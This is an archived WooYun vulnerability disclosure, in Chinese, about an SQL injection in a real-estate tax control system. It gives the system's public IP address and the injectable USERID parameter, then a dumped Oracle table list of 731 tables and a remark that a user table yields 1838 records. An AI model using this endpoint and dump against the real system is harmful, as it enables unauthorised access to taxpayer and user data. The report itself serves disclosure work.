乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-07-10： 细节已通知厂商并且等待厂商处理中 2015-07-15： 厂商已经确认，细节仅向厂商公开 2015-07-25： 细节向核心白帽子及相关领域专家公开 2015-08-04： 细节向普通白帽子公开 2015-08-14： 细节向实习白帽子公开 2015-08-29： 细节向公众公开
泰斯特
系统名称为建安业房地产业税源控管系统，地址为
http://61.140.99.122/face/login.jsp
系统存在注入
http://61.140.99.122:80/face/login_back.jsp?USERID=11111111
731个表
web application technology: JSPback-end DBMS: OracleDatabase: DB_JFKG[731 tables]+--------------------------------+| BF_KSLPH_CB_FPTZZ || BF_KSLPH_CB_PTZZ || CJ_DSF_CJXXCL || CJ_DSF_CJXXCLMX || CJ_DSF_CLQKTJ || CJ_DSF_CSGH || CJ_DSF_CZJSGC || CJ_DSF_FWCQBZ || CJ_DSF_JJGCPZLX || CJ_DSF_JSGCBJ || CJ_DSF_SPFQQ || CJ_DSF_SPFQSZS || CJ_DSF_SPFYSXKZ || CJ_DSF_TDCZR || CJ_DSF_TDYJKF || CJ_DSF_XXLYTJ || CJ_DSF_ZB || CJ_GCYSZJ_CB || CJ_GCYSZJ_ZB || CJ_XMJY_CWSYQJYQK_CB || CJ_XMJY_CWSYQJYQK_ZB || CJ_XMJY_FWCZDYYYE_CB || CJ_XMJY_FWCZDYYYE_ZB || CJ_XMJY_FXMSRCBFY_CB || CJ_XMJY_FXMSRCBFY_ZB || CJ_XMJY_GCYSZXQK_CB || CJ_XMJY_GCYSZXQK_ZB || CJ_XMJY_JJZXBGBLJKDJ_CB || CJ_XMJY_JJZXBGBLJKDJ_ZB || CJ_XMJY_JJZXQBGJGCCJ_CB || CJ_XMJY_JJZXQBGJGCCJ_ZB || CJ_XMJY_JZGCJGCDJ_CB || CJ_XMJY_JZGCJGCDJ_ZB || CJ_XMJY_KCSBJKSQ_CB || CJ_XMJY_KCSBJKSQ_ZB || CJ_XMJY_QDQRGCSR_CB || CJ_XMJY_QDQRGCSR_ZB || CJ_XMJY_SFJYXXDJ_CB || CJ_XMJY_SFJYXXDJ_CB_BAK1221 || CJ_XMJY_SFJYXXDJ_CB_ZL || CJ_XMJY_SFJYXXDJ_ZB || CJ_XMJY_ZBRDSZFGCJK_CB || CJ_XMJY_ZBRDSZFGCJK_ZB || CJ_XMJY_ZFSGDWGCJK_CB || CJ_XMJY_ZFSGDWGCJK_ZB || CX_ZDJK || CX_ZDJK_JSJE || CX_ZDJK_JSYJ || DAXM || DDS_WY || DDS_WY2 || DDS_WY3 || DJ_XTNSR_YW || DJ_YW_ROLE || DK_NSR_DJXX || DM_CJS_SL || DM_CJ_CBFYXM || DM_CJ_CLLX || DM_CJ_FWLX || DM_CJ_GCFY || DM_CJ_JYXXCJB || DM_CJ_KCSBLX || DM_CJ_SRLX || DM_CJ_XXDY || DM_CJ_XXZT || DM_CJ_ZFZNBM || DM_CJ_ZFZNLB || DM_DJ_BDCLX || DM_DJ_BDCXMYT || DM_DJ_CBFS || DM_DJ_CWDL || DM_DJ_CYNX || DM_DJ_DJZTLX || DM_DJ_ESF_QSZYLB || DM_DJ_FDCXM_KFFS || DM_DJ_FGJ_SJTB || DM_DJ_FKLB || DM_DJ_FWJG || DM_DJ_FWXM || DM_DJ_FWXM_MMSF_LX || DM_DJ_FWXM_MMSF_MC || DM_DJ_FWZT || DM_DJ_FYJSFS || DM_DJ_FZJG || DM_DJ_GCLB_DL || DM_DJ_GCLB_XL || DM_DJ_HTLX || DM_DJ_JAXMYT || DM_DJ_JMYJ || DM_DJ_KFLX || DM_DJ_KPFS || DM_DJ_QZD || DM_DJ_SBJZR || DM_DJ_SFSBLX || DM_DJ_SFSBLX_BAK || DM_DJ_SJLY || DM_DJ_TDCR_QSZYLB || DM_DJ_TDGYFS || DM_DJ_TDLB || DM_DJ_TDLY || DM_DJ_TDLYFS || DM_DJ_TDQSXZ || DM_DJ_TDSYQ_BGFS || DM_DJ_TDSYQ_QDFS || DM_DJ_TDSYS_DWSE || DM_DJ_TDYTDL || DM_DJ_TDYTXL || DM_DJ_TDZJLX || DM_DJ_WYGLXMDJ_BGZD || DM_DJ_WYMX_GLZT || DM_DJ_WY_CLLX || DM_DJ_WY_CWQK || DM_DJ_WY_DSFYLB || DM_DJ_WY_GLLB || DM_DJ_WY_SFJSFS || DM_DJ_WY_SFLX || DM_DJ_WY_SYZT || DM_DJ_WY_TCWLX || DM_DJ_WY_WYLX || DM_DJ_WY_ZZLX || DM_DJ_XMDJ_BGZD || DM_DJ_XMDXLB || DM_DJ_XMGMJZZ || DM_DJ_XMHJ || DM_DJ_XMHJ_BGZD || DM_DJ_XMJKLX || DM_DJ_XMLX || DM_DJ_XMSXGD || DM_DJ_XMZLBS || DM_DJ_XMZT || DM_DJ_XTNRS || DM_DJ_XTNRS20131021 || DM_DJ_XTNRS_BAK1210 || DM_DJ_YW || DM_DJ_YWBSZ_GL || DM_DJ_YWBSZ_JMLB || DM_DJ_ZCNRS || DM_DJ_ZCNRS_BAK0804 || DM_FW_GRSDS_SL_HDZSL || DM_FW_TDZZS_LJSL || DM_FW_TDZZS_ZSL || DM_GRSDS_SL_HDZSL || DM_GY_SPSZ || DM_GY_ZSPM_XM || DM_GZL_ZDY_HJMC || DM_JK_JKYDLY || DM_JK_JKZB || DM_JK_ZBLX || DM_JYFLX || DM_NSRZT || DM_NSRZT_DL || DM_PGXT_FWCX || DM_PGXT_JG || DM_PGXT_PGGHYT || DM_PGXT_TDXZ || DM_PG_CLLX || DM_PG_YDGLFS || DM_QS_JMYHSX || DM_RW_LCLX || DM_SB_SBBLX || DM_SRF_YSXM_KZ || DM_TDZZS_LJSL || DM_TDZZS_LJSL_BAK0113 || DM_TDZZS_SL || DM_TDZZS_YHS_JMYHSX || DM_TDZZS_ZSL || DM_WTDZ_GRZZCZ_JSGZ || DM_XMGL_KPLJXX || DM_YS_ZSPM || DM_YYS_GRSDS_JMYHSX || DM_ZRF_YSXM_KZ || DSJ_FPXX_BAK20120223 || DSJ_FPXX_BAK20120518 || DSXM_XMDJ || DZ_BDCLX || DZ_NSRXX || DZ_XMXX_LPXX || ERROR_MESSAGE || FCQSZY_SSSHSQJM_MX_BAKE || FGJ_DSJ_QYGLB || FGJ_HOUSECHECK || FGJ_HOUSECONTRACT || FGJ_KFSXX || FGJ_NEWHOUSE || FGJ_NEWHOUSENO || FGJ_SECONDHOUSE || FGJ_ZLF_CSDJXX || FGJ_ZLF_CSDJXX_BAK20120111 || FGJ_ZLF_CSDJXX_ZJB || FGJ_ZLF_LPB || FGJ_ZLF_LPB_BAK1214 || FGJ_ZLF_WQHT || FX_QY_ZLF_ALL || FX_QY_ZLF_NONE || GT3_DJZGLJGDZB || GT3_DJ_BDCXMDJXX || GT3_DJ_BDCXMDJ_DCZWXX || GT3_DJ_BDCXMDJ_DWJZXX || GT3_DJ_BDCXMDJ_JSQXMXX || GT3_DJ_BDCXMDJ_JZGHXKZXX || GT3_DJ_BDCXMDJ_YDGHXX || GT3_DJ_BDCXMDJ_YSXKZXX || GT3_DJ_BGDJMX || GT3_DJ_FWQSXX || GT3_DJ_FWSYQKDJXX || GT3_DJ_FYJBXX || GT3_DJ_JZYGCXMQKDJXXB || GT3_DJ_JZYGCXMQKDJXXB_BAK || GT3_DJ_JZYXMDJ_SGXKZXX || GT3_DJ_JZYXMDJ_THJJFGQK || GT3_DJ_JZYXMDJ_WCJYHDSSGLZMXX || GT3_DJ_JZYXMDJ_ZFBGCXMXX || GT3_DJ_SYGLXMDJ_TDXX || GT3_DJ_TDJBXX || GT3_DJ_TDQSXX || GT3_DJ_TDSYQKDJXX || GT3_DM_GY_JDXZ || GT3_DM_GY_SWJG || GT3_DM_GY_SWRY || GT3_DM_GY_XZQH || GT3_JAXM_01 || GT3_JAXM_02 || GT3_JAXM_03 || GT3_JAXM_04 || GT3_JAXM_05 || GT3_JAXM_06 || GT3_JAXM_07 || GT3_JAXM_08 || GT3_JAXM_09 || GT3_JAXM_10 || GT3_JYXJTDDZB || GT3_SB_ZLBSCJB || GT3_SB_ZLBS_ZLFXSXXB || GT3_SB_ZLBS_ZLFXSXXB_GYRXX || GT3_SB_ZLBS_ZLFXSXXB_MX || GT3_SWJG_XZQH || GT3_TEMP_JAXM || GT3_TEMP_JAXM_0 || GT3_TEMP_JAXM_1 || GT3_TEMP_JAXM_2 || GT3_TEMP_JAXM_3 || GT3_TEMP_JAXM_4 || GT3_TEMP_JAXM_ALL_150114 || GT3_TEMP_JAXM_WORK || GT3_TEMP_SFZ || GT3_TEMP_ZLFMX || GT3_XMM_DJXH || GZL_CB20131023 || GZL_IN || GZL_ZB20131023 || GZL_ZDY_CB || GZL_ZDY_CB_20150527 || GZL_ZDY_CB_BAK0424 || GZL_ZDY_PRO || GZL_ZDY_ZB || GZL_ZDY_ZB_20150527 || GZL_ZDY_ZB_BAK0424 || JK_JGB || JK_JGB_ZL_101011_JKZBDM || JK_JKYD || JK_JKYD_DELTEMP || JK_JZJ_GLJG || JK_JZJ_NSR || JK_JZJ_XM || JK_ZBSZ_CB || JK_ZBSZ_ZB || JYDS_DM_CZRY || JYDS_DM_SWJG || KETTLE_LOG || KSLPHDJ_CB_BAK20110531 || LITE_FACE_USER || LITE_GEN || LITE_GEN_COLUMN || LITE_GEN_DESIGN || NSR_FDC_GLXX || PASSTMP || PASS_QS_FPXMBM || PASS_QS_FPXMBM11 || PASS_QS_FPXMBM_ALL || PG_YDGL_GLJGFK || PG_YDGL_GLJGFK_SZMX || PG_YDGL_HXGLJYS || PG_YDGL_HXGLJYS_MX || PG_YDGL_JSSMBG || PG_YDGL_JSSMBG_MX || PG_YDGL_NSZCBG || PG_YDGL_NSZCBG_WMBKSQK_MX || PG_YDGL_NSZCBG_XSYHQK_MX || PG_YDGL_RCPGBG || PG_YDGL_RCPGBG_MX || PG_YDGL_RCPGBG_SZMX || PG_YDGL_SWPGTZWS || PG_YDGL_SWPGTZWS_MX || PG_YDGL_YDPCBG || PG_YDGL_YDPCBG_MX || PLAN_TABLE || PROC_DD || PROC_DDSJ || PROC_DD_LOG || PUB_APP || PUB_CANT || PUB_CANT_TYPE || PUB_CMD_LOG || PUB_COMMISSION || PUB_COMMISSION_ITEM || PUB_COMMISSION_RELATION || PUB_COMMON_PARMS || PUB_COMMON_SINGLE_PARMS || PUB_CONF_ROLES || PUB_CONF_ROLESET || PUB_COUNTRY || PUB_DATA_RES_TYPE || PUB_DOC_CONTENT || PUB_EXAMPLE_ORGAN || PUB_FIN_MONTH || PUB_FIN_MPERIOD || PUB_FIN_PTYPE || PUB_FIN_YEAR || PUB_FUNCTIONS || PUB_GLOBAL || PUB_HR_EVENT || PUB_HR_EVENT_TYPE || PUB_IDTABLE || PUB_IMP_JYDS_LOG || PUB_LDAP_USER || PUB_MAIL_ACCOUNT || PUB_MAIL_ADDRESS || PUB_MAIL_ADDRESS_CATEGORY || PUB_MAIL_ATTACHMENT_REF || PUB_MAIL_BLACKLIST || PUB_MAIL_GROUP_CARD_REF || PUB_MAIL_RESOURCE || PUB_MENU_PERITEM || PUB_MENU_STRU || PUB_MENU_STRU_TYPE || PUB_MENU_SYS || PUB_MENU_SYSITEM || PUB_MENU_TYPE || PUB_MESSAGE || PUB_MESSAGE_ADJUNCTANDTEXT || PUB_MESSAGE_RECEIVER || PUB_MESSAGE_SENDER || PUB_MODULES || PUB_ONLINE || PUB_ONLINE_CALCTIMES || PUB_ONLINE_HIST || PUB_ONLINE_STATS || PUB_ORGAN || PUB_ORGAN_20150527 || PUB_ORGAN_HIST || PUB_ORGAN_PARMS || PUB_ORGAN_PARMS_T || PUB_ORGAN_TYPE || PUB_ORGAN_WORKDAY || PUB_RESOURCES || PUB_RES_TYPE || PUB_ROLES || PUB_ROLES_20150527 || PUB_ROLE_ACCESS || PUB_ROLE_ACCESS_20150527 || PUB_ROLE_PRIVS || PUB_ROLE_RESOURCE || PUB_ROLE_RESOURCE_TEMP || PUB_SCN_INFO || PUB_SECURITY_LEVEL || PUB_SECURITY_LOG || PUB_STRU || PUB_STRU_20150527 || PUB_STRU_BAK0804 || PUB_STRU_HIST || PUB_STRU_HIST_20150527 || PUB_STRU_RULE || PUB_STRU_TYPE || PUB_STRU_TYPE_REF || PUB_STRU_TYPE_REF_20150527 || PUB_STRU_VERSION || PUB_TEMPLATES || PUB_TROLES || PUB_TROLE_OPTS || PUB_URLS || PUB_USERS || PUB_USERS1129 || PUB_USERS20131016 || PUB_USERS20131021 || PUB_USERS_20150527 || PUB_USERS_BAK0804 || PUB_USERS_BAK150118 || PUB_USERS_TEMP_0629 || PUB_USER_DATAREF || PUB_USER_DATAREF_20150527 || PUB_USER_DATAREF_BAK0604 || PUB_USER_DATAREF_BAK20131024 || PUB_USER_MAP || PUB_USER_PARMS || PUB_USER_PARMS_ZL_0707 || PUB_USER_PROXY || PUB_USER_RES_DATAREF || PUB_USER_ROLE || PUB_USER_ROLE_DELETE0318 || PUB_WORKPLACE || PZXH || QUEST_SOO_BUFFER_BUSY || QUEST_SOO_EVENT_CATEGORIES || QUEST_SOO_LOCK_TREE || QUEST_SOO_PARSE_TIME_TRACK || QUEST_SOO_PLAN_TABLE || QUEST_SOO_SB_BUFFER_BUSY || QUEST_SOO_SB_EVENT || QUEST_SOO_SB_IO_STAT || QUEST_SOO_SCHEMA_VERSIONS || QUEST_SOO_VERSION || QY0_DJ_BDCXMDJXX || QY0_DJ_BDCXMDJ_DCZWXX || QY0_DJ_BDCXMDJ_DWJZXX || QY0_DJ_BDCXMDJ_JSQXMXX || QY0_DJ_BDCXMDJ_JZGHXKZXX || QY0_DJ_BDCXMDJ_YDGHXX || QY0_DJ_BDCXMDJ_YSXKZXX || QY0_DJ_BGDJMX || QY0_DJ_FWQSXX || QY0_DJ_FWSYQKDJXX || QY0_DJ_FYJBXX || QY0_DJ_JZYGCXMQKDJXXB || QY0_DJ_JZYXMDJ_SGXKZXX || QY0_DJ_JZYXMDJ_THJJFGQK || QY0_DJ_JZYXMDJ_WCJYHDSSGLZMXX || QY0_DJ_JZYXMDJ_ZFBGCXMXX || QY0_DJ_SYGLXMDJ_TDXX || QY0_DJ_TDJBXX || QY0_DJ_TDQSXX || QY0_DJ_TDSYQKDJXX || QY0_SB_ZLBSCJB || QY0_SB_ZLBS_ZLFXSXXB || QY0_SB_ZLBS_ZLFXSXXB_GYRXX || QY0_SB_ZLBS_ZLFXSXXB_MX || QY1_DJ_BDCXMDJXX || QY1_DJ_BDCXMDJ_DCZWXX || QY1_DJ_BDCXMDJ_DWJZXX || QY1_DJ_BDCXMDJ_JSQXMXX || QY1_DJ_BDCXMDJ_JZGHXKZXX || QY1_DJ_BDCXMDJ_YDGHXX || QY1_DJ_BDCXMDJ_YSXKZXX || QY1_DJ_BGDJMX || QY1_DJ_FWQSXX || QY1_DJ_FWSYQKDJXX || QY1_DJ_FYJBXX || QY1_DJ_JZYGCXMQKDJXXB || QY1_DJ_JZYXMDJ_SGXKZXX || QY1_DJ_JZYXMDJ_THJJFGQK || QY1_DJ_JZYXMDJ_WCJYHDSSGLZMXX || QY1_DJ_JZYXMDJ_ZFBGCXMXX || QY1_DJ_SYGLXMDJ_TDXX || QY1_DJ_TDJBXX || QY1_DJ_TDQSXX || QY1_DJ_TDSYQKDJXX || QY1_SB_ZLBSCJB || QY1_SB_ZLBS_ZLFXSXXB || QY1_SB_ZLBS_ZLFXSXXB_GYRXX || QY1_SB_ZLBS_ZLFXSXXB_MX || QY2_SB_ZLBSCJB || QY2_SB_ZLBS_ZLFXSXXB || QY2_SB_ZLBS_ZLFXSXXB_GYRXX || QY2_SB_ZLBS_ZLFXSXXB_MX || QY3_DJ_BDCXMDJXX || QY3_DJ_JZYGCXMQKDJXXB || QY3_DJ_JZYXMDJ_SGXKZXX || QY3_DJ_JZYXMDJ_THJJFGQK || QY3_DJ_JZYXMDJ_WCJYHDSSGLZMXX || QY3_DJ_JZYXMDJ_ZFBGCXMXX || QY3_SB_ZLBSCJB || QY3_SB_ZLBS_ZLFXSXXB || QY3_SB_ZLBS_ZLFXSXXB_GYRXX || QY3_SB_ZLBS_ZLFXSXXB_MX || QY4_DJ_JZYGCXMQKDJXXB || QY4_DJ_JZYXMDJ_SGXKZXX || QY5_SB_ZLBSCJB || QY5_SB_ZLBS_ZLFXSXXB || QY5_SB_ZLBS_ZLFXSXXB_MX || RW_DBSY_CB || RW_DBSY_CB_20150527 || RW_DBSY_ZB || RW_SHSPCL || RW_SHSPCL_20150527 || SB_NSSBB_DKDJ || SB_NSSBB_DKDJ_MX || SB_NSSBB_PZJM_YJSF || SB_NSSBB_ZH || SB_NSSBB_ZH_MX || SB_NSSB_TJQK || SB_NSSB_TJQK_20110727 || SB_NSSB_TJQK_ZL_0708 || SB_NSSB_XMSBJE || SB_YJSFHZ_BL || SB_YJSFHZ_BLMX || SB_YYSJSJE_CKZ || SB_ZLBS_ZLFXSXXB_MX || SFJYXXDJMX_ZL || SFJYXXDJ_CB_ZL_UPDATE_0531 || SQ_SJCL_LOG || TB_SJCS || TB_WK_PZ_KCMX || TD_XX || TEMP || TMP001 || TMP002 || TMP003 || TMP004 || TMP_NEW || TMP_SB_ZLBS_ZLFXSXXB_MX || TMP_XMBM || TMP_XM_QSWSXX || TMP_XM_QSWSXX_BAK || TONGJI || T_CS_JJR || T_DJ_JGNSR20131019 || T_DJ_JZYGCXMDJQK || T_DJ_KSLPHDJ || T_DJ_KSLPHDJMX || T_DJ_LYXMXX || T_DJ_SFJYXXDJ || T_DJ_SFJYXXDJMX || T_DJ_SFJYXXDJ_ZL || T_DM_PGXTSXBZ || T_FP_XSBDCXXZB || T_SB_LYDXMZSYJ || T_XMSB_ZLF_QSSB || T_XMSB_ZLF_QSSB20131019 || T_XMSB_ZLF_XMTZ || V_NSRXX || V_NSRXX_BAK0804 || V_NSRXX_BAK20100803 || WK_DM_PZ_FPCK || WK_DM_PZ_FPZT || WK_PZ_CKD || WK_PZ_CKD_MX || WK_PZ_CK_RY_GLGX || WK_PZ_KCMX || WK_PZ_RKD || WK_PZ_RKD_MX || WTDZ_DZDW_DZYWXX || WTDZ_DZDW_JBXX || WTDZ_DZDW_JBXX1 || WTDZ_JSGZ_CB || WTDZ_JSGZ_ZB || WTDZ_PKJB || WTDZ_PKJB_MX || WTDZ_SBZS_CB || WTDZ_SBZS_ZB || WTDZ_SPKJ_CB || WTDZ_SPKJ_ZB || XMBM_LY_WCWL || XMDJ_KSLPHDJ_CB_ZL_GXLJXX_0629 || XMDJ_WYZFBZS || XMDJ_WYZFBZS_MX || XM_DZWS_SBLSHB || XM_FDCQSBGSSZM || XM_FDC_LPH_PLBG || XM_FDC_LPH_PLBG_MX || XM_FDC_LPH_PLBG_MX_20120222 || XM_FDC_LPH_PLBG_MX_BAK20120222 || XM_FDC_LPH_PLBG_MX_DEL20120222 || XM_HJZL_BSQD || XM_JCSDSQ || XM_QSWSXX_BACK1207 || XM_QSWSXX_LOCAL || XM_QSWSXX_TEMP || XM_XMBMB || XM_XMBM_HZLJXX || XM_XMDJ || XM_XMDJ20131019 || XM_XMDJ_20150527 || XM_XMDJ_BAK20140828 || XM_XMDJ_BAK20140829 || XM_XMDJ_BAK20140901 || XM_XMDJ_BDC_ZZY || XM_XMDJ_BGSQ || XM_XMDJ_BGSQ_MX || XM_XMDJ_DJXX || XM_XMDJ_DJXX20131019 || XM_XMDJ_DJXX_BAK120117 || XM_XMDJ_DJ_SYQRXX || XM_XMDJ_DJ_TDLY || XM_XMDJ_DZWSXX || XM_XMDJ_DZWSXX_MX || XM_XMDJ_FCQSZY_CSFBL || XM_XMDJ_FCQSZY_SSSHSQJM || XM_XMDJ_FCQSZY_SSSHSQJM_BAKE || XM_XMDJ_FCQSZY_SSSHSQJM_MX || XM_XMDJ_FCQSZY_SSSX || XM_XMDJ_FCQSZY_SSSX20131019 || XM_XMDJ_FCQSZY_SSSX_BAKE || XM_XMDJ_FDC_FDZC || XM_XMDJ_FDC_FDZC_MX || XM_XMDJ_FDC_HZDW || XM_XMDJ_FDC_HZDW_MX || XM_XMDJ_FDC_KSLPHDJ_CB || XM_XMDJ_FDC_KSLPHDJ_CB20111124 || XM_XMDJ_FDC_KSLPHDJ_CB_BAK1214 || XM_XMDJ_FDC_KSLPHDJ_CB_BAK1217 || XM_XMDJ_FDC_KSLPHDJ_CB_LS || XM_XMDJ_FDC_KSLPHDJ_ZB || XM_XMDJ_FDC_KSLPHMX_LS || XM_XMDJ_FDC_QKDJ || XM_XMDJ_FDC_QKDJ_BAK1219 || XM_XMDJ_FDC_QQKF || XM_XMDJ_FDC_QQKF_MX || XM_XMDJ_FDC_QQQK || XM_XMDJ_FDC_TDSYS_FZGL || XM_XMDJ_FDC_TDSYS_FZGL20131019 || XM_XMDJ_FDC_TDSYS_FZGL_MX || XM_XMDJ_FDC_TDZZSQS || XM_XMDJ_FDC_XKFDJ || XM_XMDJ_FDC_XKFDJ_ZDQK || XM_XMDJ_FDC_XKFDJ_ZDQK_BAK1214 || XM_XMDJ_FWCZBMB || XM_XMDJ_FWCZDJ || XM_XMDJ_FWLZCGX || XM_XMDJ_FWXX || XM_XMDJ_FYKXX || XM_XMDJ_FYKXX_BAK120530 || XM_XMDJ_FYKXX_BAK1210 || XM_XMDJ_FYKXX_BAK1213 || XM_XMDJ_FYKXX_BAK20111215 || XM_XMDJ_FYKXX_BAK20120216 || XM_XMDJ_FYKXX_BAK20130205 || XM_XMDJ_FYKXX_BAK20130207 || XM_XMDJ_FYKXX_DONGSHAN || XM_XMDJ_FYKXX_DONGSHAN2 || XM_XMDJ_FYKXX_HEPO || XM_XMDJ_FYKXX_HUILAI || XM_XMDJ_FYKXX_JD || XM_XMDJ_FYKXX_JD2 || XM_XMDJ_FYKXX_JD213 || XM_XMDJ_FYKXX_JS || XM_XMDJ_FYKXX_KFQ || XM_XMDJ_FYKXX_MIANHU || XM_XMDJ_FYKXX_PGXT || XM_XMDJ_FYKXX_PGXTYY || XM_XMDJ_FYKXX_PUNING || XM_XMDJ_FYKXX_PUNING2 || XM_XMDJ_FYKXX_RONGCHENG || XM_XMDJ_FYK_XQXX || XM_XMDJ_FYK_XQXX_BAK1125 || XM_XMDJ_FYK_XQXX_BAK1129 || XM_XMDJ_FYK_XQXX_BAK1213 || XM_XMDJ_FYK_XQXX_DEL || XM_XMDJ_FYK_XQXX_TMP || XM_XMDJ_JADJ || XM_XMDJ_JADJ_ZL_GXLJXX_0629 || XM_XMDJ_JA_JSSQ_FDZC || XM_XMDJ_JA_JSSQ_FDZC_MX || XM_XMDJ_JA_THJSQ || XM_XMDJ_JA_THJSQ_MX || XM_XMDJ_JZXMFWXX || XM_XMDJ_JZXMZCGX || XM_XMDJ_PLJADJ || XM_XMDJ_SSSHSQJM20131019 || XM_XMDJ_TDCB || XM_XMDJ_TDCB_GY || XM_XMDJ_TDCB_GY_MX || XM_XMDJ_TDCB_LSLY || XM_XMDJ_TDCB_LSLY_MX || XM_XMDJ_TDCB_MX || XM_XMDJ_TDCB_YJKF || XM_XMDJ_TDCB_YJKF_MX || XM_XMDJ_TDFCCRFXX || XM_XMDJ_TDFCCRFXX_20150527 || XM_XMDJ_TDFCMFXX || XM_XMDJ_TDFCMFXX_20150527 || XM_XMDJ_TDSYQ || XM_XMDJ_TDSYQ_BG || XM_XMDJ_TDSYQ_BG_MX || XM_XMDJ_TDSYQ_CZCJ || XM_XMDJ_TDSYQ_CZCJ_JSMX || XM_XMDJ_TDSYQ_GTZYJ || XM_XMDJ_TDSYQ_GTZYJ20131019 || XM_XMDJ_TDSYQ_LY || XM_XMDJ_TDSYQ_LY_MX || XM_XMDJ_TDSYQ_YNSF || XM_XMDJ_TDSYQ_YNSFSH20131019 || XM_XMDJ_TDSYQ_ZRBG || XM_XMDJ_TDSYQ_ZRBG20131019 || XM_XMDJ_TDSYQ_ZRBG_MX || XM_XMDJ_TDSYQ_ZRBG_YNSFSH || XM_XMDJ_TD_SYQRXX || XM_XMDJ_TD_TDLY || XM_XMDJ_UPDATE_SFSBLX || XM_XMDJ_WYGL || XM_XMDJ_WYGL_GLMXDJ_CB || XM_XMDJ_WYGL_GLMXDJ_ZB || XM_XMDJ_WYGL_GLMXDJ_ZFBAK || XM_XMDJ_WYGL_GLMX_SFBZ || XM_XMDJ_WYGL_GLMX_YSF || XM_XMDJ_WYGL_SFBZDJ_CB || XM_XMDJ_WYGL_SFBZDJ_ZB || XM_XMDJ_WYGL_XQMX || XM_XMDJ_XMZTBG || XM_XMDJ_YW_MESSAGE || XM_XMDJ_ZJFDJ || XM_XMDJ_ZJFDJ20131019 || XM_XMDJ_ZJFFKQK || XM_XMDJ_ZJFHTQDQK || XM_XMDJ_ZJFHTQDQK20131018 || XM_XMDJ_ZJFHTQDQK20131019 || XM_XMDJ_ZJFQDFKPZ || XM_XMDJ_ZJFZDQK || XM_XMDJ_ZJF_YHSWSZM || XM_XMDJ_ZJF_YHSWSZM_TEMP || XM_XMDJ_ZL_0628 || XM_XMDX || XM_XMDX_LS || XM_XMHJ_BGSQ || XM_XMHJ_BGSQ_MX || XM_XMJY_WYFYSZQK_CB || XM_XMJY_WYFYSZQK_MB || XM_XMJY_WYFYSZQK_ZB || XM_XMMY_SBKP || XM_XMMY_SBKP_LS || XM_XMZZSQ || XM_YNGS_SBSJ || XM_ZXZFSQ || YMW_FYKXX_TMP || YMW_FYKXX_TMP_BAK || YMW_SG_SYN_KSLP_FHXLH || YMW_TMP || YMW_TMP_PASSWORD || YMW_TMP_SYN_LPH || YMW_XZQH_JD_DM || ZJK_SJTB || ZL_TMP || LITE_GEN_TABLES |+--------------------------------+
看看其中一个用户表，有1838条返回信息
危害等级：高
漏洞Rank：10
确认时间：2015-07-15 11:35
非常感谢您的报告。报告中的问题已确认并复现.影响的数据：高攻击成本：低造成影响：高综合评级为：高，rank：10正在联系相关网站管理单位处置。
暂无
